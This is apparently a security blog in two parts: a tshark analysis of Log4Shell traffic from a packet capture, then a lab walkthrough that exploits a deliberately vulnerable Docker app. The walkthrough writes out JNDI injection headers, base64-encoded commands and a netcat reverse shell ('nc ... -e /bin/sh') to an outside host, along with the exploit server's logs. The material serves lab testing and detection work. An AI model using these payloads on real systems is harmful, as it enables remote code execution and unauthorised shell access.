Frame 108 - 2021-12-20 14:00:58.962074 - The LDAP lookup for the malicious content. When decoded, this returns the same output we saw that sets up netcat to connect to the remote host.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.2:36824,192.168.56.102:389 2>/dev/null | more

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 36824) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 389)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 389) and (ip.dst eq 172.17.0.2 and tcp.dst
port eq 36824))
Node 0: 172.17.0.2:36824
Node 1: 192.168.56.102:389
14
0....`........
        14
0....a.
......
142
0.....ci.IBasic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==
..
.............objectClass0...0...2.16.840.1.113730.3.4.2
        231
0.....d...IBasic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==0..0..
        14
0....e.
......
36
0"...B...0...2.16.840.1.113730.3.4.2
===================================================================

Finally, in frame 121 - 2021-12-20 14:00:58.968858 - Like we have seen before on port 443, interesting strings such as "/bin/sh" and "exec" along with "nc 192.168.56.102 80 -e /bin/sh -vvv"

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.2:51836,192.168.56.102:443 2>/dev/null | more 

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 51836) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 443)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 443) and (ip.dst eq 172.17.0.2 and tcp.dst
port eq 51836))
Node 0: 172.17.0.2:51836
Node 1: 192.168.56.102:443
181
GET /Exploit6HHc3BcVzI.class HTTP/1.1
User-Agent: Java/1.8.0_181
Host: 192.168.56.102:443
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive


        78
HTTP/1.1 200 OK
Date: Mon, 20 Dec 2021 19:00:58 GMT
Content-length: 1236


        1236
.......2.=...Exploit6HHc3BcVzI.....@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet......cmd...Ljava/lang/String;...<init>...()V...java/io/IOException........
.......java/io/File..
......./bin/sh......-c.................../C..!...[Ljava/lang/String;..#...java/lang/Runtime..%..
getRuntime...()Ljava/lang/Runtime;..'.(
.&.)...exec..(([Ljava/lang/String;)Ljava/lang/Process;..+.,
.&.-...printStackTrace../..
.
.0...transform..r(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V..9com/sun/org/apache/xalan/internal/xsltc/TransletException..4...(Lcom/
sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V...<clinit>..%nc 192.168.56.102 80 -e /bin/
sh -vvv
..8...Code..
Exceptions.!.........
.................:...~.......M*..................Y...SY...SY....SL.......Y.. SY.."SY....SL..*+...W...M,..1....<.D.G.
...;........'............$J..
....2.3...:...
===================================================================

We have gone through all the initial connections reported so far prior to our compromise. Our conclusion, is using the Log4J vulnerability, a threat actor gained access to our critical server and used netcat to setup a reverse shell. While this is still a good assumption, we don't have any evidence so far to confirm this activity was successful. We saw the setup and that was it.

At this point we are 55 minutes into the time it took for this activity to occur, however, we have not seen where the netcat sesssion was setup. Let's write a new filter, focusing in tightly on the ncat connection setup.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y "(ip.src == 172.17.0.2) && (ip.dst == 192.168.56.102) && (tcp.dstport == 80) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)" 2>/dev/null 
  140 2021-12-20 14:00:58.987870   172.17.0.2 → 192.168.56.102 TCP 74 37957 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076527 TSecr=0 WS=128

Boom! We now see at the same time as we see in frame 121 above, that at 14:00 on December 20, 2021 a SYN connection was made to our suspicious external IP. Confirming the server actually responded with its SYN/ACK, to let our critical asset know it is available on port 443.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y "(ip.dst == 172.17.0.2) && (ip.src == 192.168.56.102) && (tcp.port == 80) && (tcp.flags.syn == 1) && (tcp.flags.ack == 1)" 2>/dev/null 
  141 2021-12-20 14:00:58.987882 192.168.56.102 → 172.17.0.2   TCP 74 80 → 37957 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM=1 TSval=834678917 TSecr=2724076527 WS=128

At this point, we are in a much better position. Confirming the activity by following the stream. 

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z 'follow,tcp,ascii,172.17.0.2:37957,192.168.56.102:80' 2>/dev/null | more

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 37957) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 80)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 80) and (ip.dst eq 172.17.0.2 and tcp.dstpo
rt eq 37957))
Node 0: 172.17.0.2:37957
Node 1: 192.168.56.102:80
        3
ls
4
app

70
bin
dev
...

Good stuff! We can now confirm all the activities that occurred at the time of detecting the large set of bytes and ultimately necat. However, at this point, it would be foolish of us not to look to see if this activity is still ongoing. Let's run a query looking for time greater than our last record while focusing on the communication between our critical asset 172.17.0.2 and external IP address 192.168.56.102.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time > "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (ip.addr == 192.168.56.102 ) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | wc --lines
11

Looks like we have 11 packets returned, with the last one being reported as 14:42. As we can see, it was important to look to the future and not just perform historical analysis. At this point, we know this activity initially started at 13:05 and at 14:42 it seems to have ended. This gives us a duration of about (97 minutes) or 1 hour 37 minutes.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time > "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (ip.addr == 192.168.56.102 ) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | more 
  641 2021-12-20 14:20:07.598696   172.17.0.2 → 192.168.56.102 TCP 74 36826 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2725225138 TSecr=0 WS=128
 1103 2021-12-20 14:21:23.066028   172.17.0.2 → 192.168.56.102 TCP 74 36828 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2725300605 TSecr=0 WS=128
 1565 2021-12-20 14:22:40.779018   172.17.0.2 → 192.168.56.102 TCP 74 36830 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2725378318 TSecr=0 WS=128
 2031 2021-12-20 14:24:51.331840   172.17.0.2 → 192.168.56.102 TCP 74 36832 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2725508871 TSecr=0 WS=128
 2499 2021-12-20 14:30:26.658084   172.17.0.2 → 192.168.56.102 TCP 74 36834 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2725844197 TSecr=0 WS=128
 2968 2021-12-20 14:32:33.951680   172.17.0.2 → 192.168.56.102 TCP 74 36836 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2725971491 TSecr=0 WS=128
 3432 2021-12-20 14:34:33.834198   172.17.0.2 → 192.168.56.102 TCP 74 36838 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2726091373 TSecr=0 WS=128
 3896 2021-12-20 14:35:50.554228   172.17.0.2 → 192.168.56.102 TCP 74 36840 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2726168094 TSecr=0 WS=128
 4813 2021-12-20 14:36:25.414098   172.17.0.2 → 192.168.56.102 TCP 74 36842 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2726202953 TSecr=0 WS=128
 6607 2021-12-20 14:42:12.258490   172.17.0.2 → 192.168.56.102 TCP 74 36844 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2726549798 TSecr=0 WS=128
 7070 2021-12-20 14:42:37.522055   172.17.0.2 → 192.168.56.102 TCP 74 36846 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2726575061 TSecr=0 WS=128

Do remember, we also have an internal host at 172.17.0.1 communicating with our host at 172.17.0.2. It might be expected that these two hosts should communicate. However, it may also be a case of lateral movement and thus the threat actor using 172.17.0.1 as a jump off point. Let's see what we can find here.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time > "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (ip.addr == 172.17.0.1 ) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | wc --lines
633

At first glance we have 633 SYN connections.

Getting some statistics on the connections, we see port 8080 has the most activity. with all the others ports just having 1 hit.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time > "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (ip.addr == 172.17.0.1 ) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null -T fields -e ip.src -e ip.dst -e tcp.dstport | sort | uniq --count | sort --numeric --reverse
    630 172.17.0.1      172.17.0.2      8080
      1 172.17.0.1      172.17.0.2      80
      1 172.17.0.1      172.17.0.2      443
      1 172.17.0.1      172.17.0.2      389

At this point, we can continue going through each of these sessions, starting with the three that have a value of 1 to learn what other activity was performed. Why start with the lowest ones? Well 1 is so far off from 630, that I would love to know what is in the unique sessions.

We won't do that in this post, as we already have done our analysis above and are comfortable with our detection and analysis thus far. At this point, we can leverage the actionable intelligence, as in the IoCs we got from this manual process to build automated detection via  Snort3 rules and Zeek scripts or signatures. Let's start with the Snort3 rules.


References:




Continuing Log4-Shell - Understanding/Testing The Exploit

Now that I have an understanding of the vulnerability, time to look at its exploitation.

First up, unzip the vulnerable app.

┌──(rootđź’€securitynik)-[~/log4j]
└─# unzip log4shell-vulnerable-app-main.zip
Archive:  log4shell-vulnerable-app-main.zip
561f11d5d934725d48028ac04db4fd0b6c18eea0
   creating: log4shell-vulnerable-app-main/
 extracting: log4shell-vulnerable-app-main/.gitignore  
  inflating: log4shell-vulnerable-app-main/Dockerfile  
  inflating: log4shell-vulnerable-app-main/LICENSE  
  inflating: log4shell-vulnerable-app-main/README.md  
  inflating: log4shell-vulnerable-app-main/build.gradle  
   creating: log4shell-vulnerable-app-main/gradle/
   creating: log4shell-vulnerable-app-main/gradle/wrapper/
  inflating: log4shell-vulnerable-app-main/gradle/wrapper/gradle-wrapper.jar  
  inflating: log4shell-vulnerable-app-main/gradle/wrapper/gradle-wrapper.properties  
  inflating: log4shell-vulnerable-app-main/gradlew  
  inflating: log4shell-vulnerable-app-main/gradlew.bat  
  inflating: log4shell-vulnerable-app-main/screenshot.png  
 extracting: log4shell-vulnerable-app-main/settings.gradle  
   creating: log4shell-vulnerable-app-main/src/
   creating: log4shell-vulnerable-app-main/src/main/
   creating: log4shell-vulnerable-app-main/src/main/java/
   creating: log4shell-vulnerable-app-main/src/main/java/fr/
   creating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/
   creating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/log4shell/
   creating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/log4shell/vulnerableapp/
  inflating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java  
  inflating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/log4shell/vulnerableapp/VulnerableAppApplication.java  
   creating: log4shell-vulnerable-app-main/src/main/resources/
 extracting: log4shell-vulnerable-app-main/src/main/resources/application.properties  

Install docker on Kali.

┌──(rootđź’€securitynik)-[~/log4j]
└─# apt install docker.io   

Switch into the directory containing the vulnerable app, listing the files and building the docker image.

┌──(rootđź’€securitynik)-[~/log4j]
└─# cd log4shell-vulnerable-app-main/

┌──(rootđź’€securitynik)-[~/log4j/log4shell-vulnerable-app-main]
└─# ls                                                                                                                                                           
build.gradle  Dockerfile  gradle  gradlew  gradlew.bat  LICENSE  README.md  screenshot.png  settings.gradle  src

┌──(rootđź’€securitynik)-[~/log4j/log4shell-vulnerable-app-main]
└─# docker build . -t vulnerable-app                                                                                                                             
Sending build context to Docker daemon    298kB
Step 1/9 : FROM gradle:7.3.1-jdk17 AS builder
7.3.1-jdk17: Pulling from library/gradle
7b1a6ab2e44d: Pull complete 
8329695590e8: Pull complete 
9bd6da4468db: Pull complete 
8e07f21656cb: Pull complete 
ca055f63c612: Pull complete 
8327f35ed409: Pull complete 
9fb8c764d49c: Pull complete 
Digest: sha256:4c6efa1d6a79c15a6a03f8396f0779f294a647ee75d325ae159fef9c778e35ad
Status: Downloaded newer image for gradle:7.3.1-jdk17
 ---> 292487763bf2
Step 2/9 : COPY --chown=gradle:gradle . /home/gradle/src
 ---> b0d3b2dd81fb
Step 3/9 : WORKDIR /home/gradle/src
 ---> Running in 419653a8727a
Removing intermediate container 419653a8727a
 ---> 1787e4dde7be
Step 4/9 : RUN gradle bootJar --no-daemon
 ---> Running in f11af088f5bb

Welcome to Gradle 7.3.1!

Here are the highlights of this release:
 - Easily declare new test suites in Java projects
 - Support for Java 17
 - Support for Scala 3

For more details see https://docs.gradle.org/7.3.1/release-notes.html

To honour the JVM settings for this build a single-use Daemon process will be forked. See https://docs.gradle.org/7.3.1/userguide/gradle_daemon.html#sec:disabling_the_daemon.
Daemon will be stopped at the end of the build 
> Task :compileJava
> Task :processResources
> Task :classes
> Task :bootJarMainClassName
> Task :bootJar

BUILD SUCCESSFUL in 30s
4 actionable tasks: 4 executed
Removing intermediate container f11af088f5bb
 ---> 904932054757
Step 5/9 : FROM openjdk:8u181-jdk-alpine
8u181-jdk-alpine: Pulling from library/openjdk
cd784148e348: Pull complete 
35920a071f91: Pull complete 
f8a5c2c61767: Pull complete 
Digest: sha256:d146ac4892198bfef92e2d246e5b2b17894056ce9534ae0a2837c8d2920c2053
Status: Downloaded newer image for openjdk:8u181-jdk-alpine
 ---> 04060a9dfc39
Step 6/9 : EXPOSE 8080
 ---> Running in 98958acd0ceb
Removing intermediate container 98958acd0ceb
 ---> b132dc3d58cd
Step 7/9 : RUN mkdir /app
 ---> Running in aa5e1837a83b
Removing intermediate container aa5e1837a83b
 ---> ca1b50dd6063
Step 8/9 : COPY --from=builder /home/gradle/src/build/libs/*.jar /app/spring-boot-application.jar
 ---> df7b6fd4bf99
Step 9/9 : CMD ["java", "-jar", "/app/spring-boot-application.jar"]
 ---> Running in dfe469c6d77b
Removing intermediate container dfe469c6d77b
 ---> 31215f4e8186
Successfully built 31215f4e8186
Successfully tagged vulnerable-app:latest

Verifying the image was created

┌──(rootđź’€securitynik)-[~/log4j]
└─# docker images
REPOSITORY       TAG                IMAGE ID       CREATED          SIZE
vulnerable-app   latest             31215f4e8186   46 minutes ago   121MB

With the app built, time to run it.

┌──(rootđź’€securitynik)-[~/log4j/log4shell-vulnerable-app-main]
└─# docker run  -p 8080:8080 --name log4shell-vuln-app vulnerable-app

  .   ____          _            __ _ _
 /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
 \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
  '  |____| .__|_| |_|_| |_\__, | / / / /
 =========|_|==============|___/=/_/_/_/
 :: Spring Boot ::                (v2.6.1)

2021-12-20 17:12:48.314  INFO 1 --- [           main] f.c.l.v.VulnerableAppApplication         : Starting VulnerableAppApplication using Java 1.8.0_181 on 493de7648f6c with PID 1 (/app/spring-boot-application.jar started by root in /)
2021-12-20 17:12:48.327  INFO 1 --- [           main] f.c.l.v.VulnerableAppApplication         : No active profile set, falling back to default profiles: default
2021-12-20 17:12:49.262  INFO 1 --- [           main] o.s.b.w.e.t.TomcatWebServer              : Tomcat initialized with port(s): 8080 (http)
2021-12-20 17:12:49.280  INFO 1 --- [           main] o.a.c.c.StandardService                  : Starting service [Tomcat]
2021-12-20 17:12:49.280  INFO 1 --- [           main] o.a.c.c.StandardEngine                   : Starting Servlet engine: [Apache Tomcat/9.0.55]
2021-12-20 17:12:49.341  INFO 1 --- [           main] o.a.c.c.C.[.[.[/]                        : Initializing Spring embedded WebApplicationContext
2021-12-20 17:12:49.342  INFO 1 --- [           main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 950 ms
2021-12-20 17:12:49.706  INFO 1 --- [           main] o.s.b.w.e.t.TomcatWebServer              : Tomcat started on port(s): 8080 (http) with context path ''
2021-12-20 17:12:49.712  INFO 1 --- [           main] f.c.l.v.VulnerableAppApplication         : Started VulnerableAppApplication in 1.803 seconds (JVM running for 2.612)

With the app running, I downloaded and extracted the Remote Code Execution (RCE) Proof of Concept Code (Poc).

┌──(rootđź’€securitynik)-[~/log4j]
└─# unzip Log4shell_JNDIExploit-main.zip 
Archive:  Log4shell_JNDIExploit-main.zip
9f56d8c12e23aee9247408e1b475aa2852726a5e
   creating: Log4shell_JNDIExploit-main/
 extracting: Log4shell_JNDIExploit-main/JNDIExploit.v1.2.zip  
  inflating: Log4shell_JNDIExploit-main/README.md  

One more extracting

┌──(rootđź’€securitynik)-[~/log4j]
└─# cd Log4shell_JNDIExploit-main/

┌──(rootđź’€securitynik)-[~/log4j/Log4shell_JNDIExploit-main]
└─# ls
JNDIExploit.v1.2.zip  README.md

┌──(rootđź’€securitynik)-[~/log4j/Log4shell_JNDIExploit-main]
└─# unzip JNDIExploit.v1.2.zip 
Archive:  JNDIExploit.v1.2.zip
  inflating: JNDIExploit-1.2-SNAPSHOT.jar  
   creating: lib/
  inflating: lib/commons-beanutils-1.8.2.jar  
  inflating: lib/commons-beanutils-1.9.2.jar  

Looking at the help.

┌──(rootđź’€securitynik)-[~/log4j/Log4shell_JNDIExploit-main]
└─# java -jar JNDIExploit-1.2-SNAPSHOT.jar --help
Usage: java -jar JNDIExploit-1.2-SNAPSHOT.jar [options]
  Options:
  * -i, --ip       Local ip address
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8080)
    -u, --usage    Show usage (default: false)
    -h, --help     Show this help

As always, I want to capture the traffic to see what is going on also from the detection and response perspective. As a result, I have the following tcpdump filter.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tcpdump --interface docker0 'tcp port(389 or 443)' -w log4j-docker0.pcapng --print
tcpdump: listening on docker0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

Start the exploit

┌──(rootđź’€securitynik)-[~/log4j/Log4shell_JNDIExploit-main]
└─# java -jar JNDIExploit-1.2-SNAPSHOT.jar --ip 192.168.56.102 --httpPort 443 --ldapPort 389
[+] LDAP Server Start Listening on 389...
[+] HTTP Server Start Listening on 443...

Leveraging the ss command to confirm ports 389 and 443 are listening for the exploit, as well as port 8080 for the vulnerable app.

┌──(rootđź’€securitynik)-[~/log4j]
└─# ss --numeric --listening --tcp --process
State    Recv-Q   Send-Q      Local Address:Port       Peer Address:Port   Process                                     
LISTEN   0        4096              0.0.0.0:8080            0.0.0.0:*       users:(("docker-proxy",pid=124989,fd=4))   
LISTEN   0        128                     *:389                   *:*       users:(("java",pid=125303,fd=10))          
LISTEN   0        4096                 [::]:8080               [::]:*       users:(("docker-proxy",pid=124994,fd=4))   
LISTEN   0        50                      *:443                   *:*       users:(("java",pid=125303,fd=11))    

Looking at it from the docker perspective

┌──(rootđź’€securitynik)-[~/log4j]
└─# docker container ls
CONTAINER ID   IMAGE            COMMAND                  CREATED          STATUS          PORTS                                       NAMES
00fc730a324d   vulnerable-app   "java -jar /app/spri…"   14 minutes ago   Up 14 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   log4shell-vulnerable-app

With the server running, time to trigger the exploit using curl.

┌──(rootđź’€securitynik)-[~/log4j]
└─# curl --verbose 127.0.0.1:8080 --header 'X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' --header 'User-Agent: SecurityNik Testing'
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> Accept: */*
> X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}
> User-Agent: SecurityNik Testing
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 13
< Date: Mon, 20 Dec 2021 18:07:32 GMT
< 
* Connection #0 to host 127.0.0.1 left intact
Hello, world!

Looking at the web (TCP 443) and LDAP (TCP/389) server.

┌──(rootđź’€securitynik)-[~/log4j/Log4shell_JNDIExploit-main]
└─# java -jar JNDIExploit-1.2-SNAPSHOT.jar --ip 192.168.56.102 --httpPort 443 --ldapPort 389
[+] LDAP Server Start Listening on 389...
[+] HTTP Server Start Listening on 443...

[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= redirecting to http://192.168.56.102:443/ExploitQ8v7ygBW4i.class
[+] New HTTP Request From /172.17.0.2:51832  /ExploitQ8v7ygBW4i.class
[+] Receive ClassRequest: ExploitQ8v7ygBW4i.class
[+] Response Code: 200

We can see above, the command "touch /tmp/pwned". We can also confirm the base64 encoded content in the LDAP query.

┌──(rootđź’€securitynik)-[~/log4j]
└─# echo dG91Y2ggL3RtcC9wd25lZAo= | base64 --decode 
touch /tmp/pwned

Looking at the log information from the vulnerable  app.

2021-12-20 18:07:32,205 http-nio-8080-exec-2 WARN Error looking up JNDI resource [ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: ExploitQ8v7ygBW4i cannot be cast to javax.naming.spi.ObjectFactory]; remaining name '"Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo="
...

2021-12-20 18:07:32.012  INFO 1 --- [nio-8080-exec-2] HelloWorld                               : Received a request for API version ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}

verifying the file pwned was created in the /tmp directory

┌──(rootđź’€securitynik)-[~/log4j]
└─# docker exec log4shell-vulnerable-app ls -l /tmp
total 12
drwxr-xr-x    2 root     root          4096 Dec 20 18:01 hsperfdata_root
-rw-r--r--    1 root     root             0 Dec 20 18:07 pwned
drwx------    2 root     root          4096 Dec 20 18:01 tomcat-docbase.8080.6478445071329797321
drwx------    3 root     root          4096 Dec 20 18:01 tomcat.8080.4249672987009843312

Checking to see if nc is on the system, so as to live off the land (LOL). LOL is all about using binaries that are native to the system, to perform malicious tasks. No need to download additional tools.

First up, base64 encode the string which nc to look for nc.

┌──(rootđź’€securitynik)-[~/log4j]
└─# echo "which nc > /tmp/pwned" | base64
d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==

Modify my command line, with the new base64 encoded content.

┌──(rootđź’€securitynik)-[~/log4j]
└─# curl --verbose 127.0.0.1:8080 --header 'X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==}' --header 'User-Agent: SecurityNik Testing'
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> Accept: */*
> X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==}
> User-Agent: SecurityNik Testing
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 13
< Date: Mon, 20 Dec 2021 18:39:14 GMT
< 
* Connection #0 to host 127.0.0.1 left intact
Hello, world!

Looking at the java application log

2021-12-20 18:39:14.662  INFO 1 --- [nio-8080-exec-4] HelloWorld                               : Received a request for API version ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==}

Looking at the exploit 

[+] Received LDAP Query: Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==
[+] Paylaod: command
[+] Command: which nc > /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg== with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg== redirecting to http://192.168.56.102:443/ExploitSMMZvT8GXL.class
[+] New HTTP Request From /172.17.0.2:51834  /ExploitSMMZvT8GXL.class
[+] Receive ClassRequest: ExploitSMMZvT8GXL.class
[+] Response Code: 200

Looking at the entry written to the file.

┌──(rootđź’€securitynik)-[~/log4j]
└─# docker exec log4shell-vulnerable-app cat  /tmp/pwned
/usr/bin/nc

Now that we know nc is installed. on the system, can we get this vulnerable app to send us out a shell? Let's try.

Setup our ncat listener and confirming via ss that it is listening.

┌──(rootđź’€securitynik)-[~/log4j]
└─# ncat --verbose --verbose --listen 0.0.0.0 80 -4  --keep-open
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:80

┌──(rootđź’€securitynik)-[~]
└─# ss --numeric --listening --tcp --process
State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port   Process                                     
LISTEN   0        10               0.0.0.0:80            0.0.0.0:*       users:(("ncat",pid=151194,fd=3))    
...

Setup a tcpdump to capture the traffic on port 80. Primary reason for a new filter is because the previous filter only focused on ports 389 and 443. We can then use mergecap to merge the two pcaps later.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tcpdump -nn --interface docker0 "port(80 or 389 or 443 or 8080)" -w log4-shell.pcapng --print
tcpdump: listening on docker0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

Base64 encode our payload

┌──(rootđź’€securitynik)-[~/log4j]
└─# echo "nc 192.168.56.102 80 -e /bin/sh -vvv" | base64
bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==

With our command encoded, we execute curl again.

┌──(rootđź’€securitynik)-[~/log4j]
└─# curl --verbose 127.0.0.1:8080 --header 'X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==}' --header 'User-Agent: SecurityNik Testing'
*   Trying 127.0.0.1:8080...
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:8080
> Accept: */*
> X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==}
> User-Agent: SecurityNik Testing
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 13
< Date: Mon, 20 Dec 2021 19:00:58 GMT
< 
* Connection #0 to host 127.0.0.1 left intact
Hello, world!

Looks like nothing exciting happened above. Looking at the log from the vulnerable app.

2021-12-20 19:00:58.961  INFO 1 --- [nio-8080-exec-5] HelloWorld                               : Received a request for API version ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==}

Looking at our exploit server output.

[+] Received LDAP Query: Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==
[+] Paylaod: command
[+] Command: nc 192.168.56.102 80 -e /bin/sh -vvv

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg== with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg== redirecting to http://192.168.56.102:443/Exploit6HHc3BcVzI.class
[+] New HTTP Request From /172.17.0.2:51836  /Exploit6HHc3BcVzI.class
[+] Receive ClassRequest: Exploit6HHc3BcVzI.class
[+] Response Code: 200

So far it does not look like anything exciting happened. Looking at my ncat session.

┌──(rootđź’€securitynik)-[~/log4j]
└─# ncat --verbose --verbose --listen 0.0.0.0 80 -4  --keep-open
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 172.17.0.2.
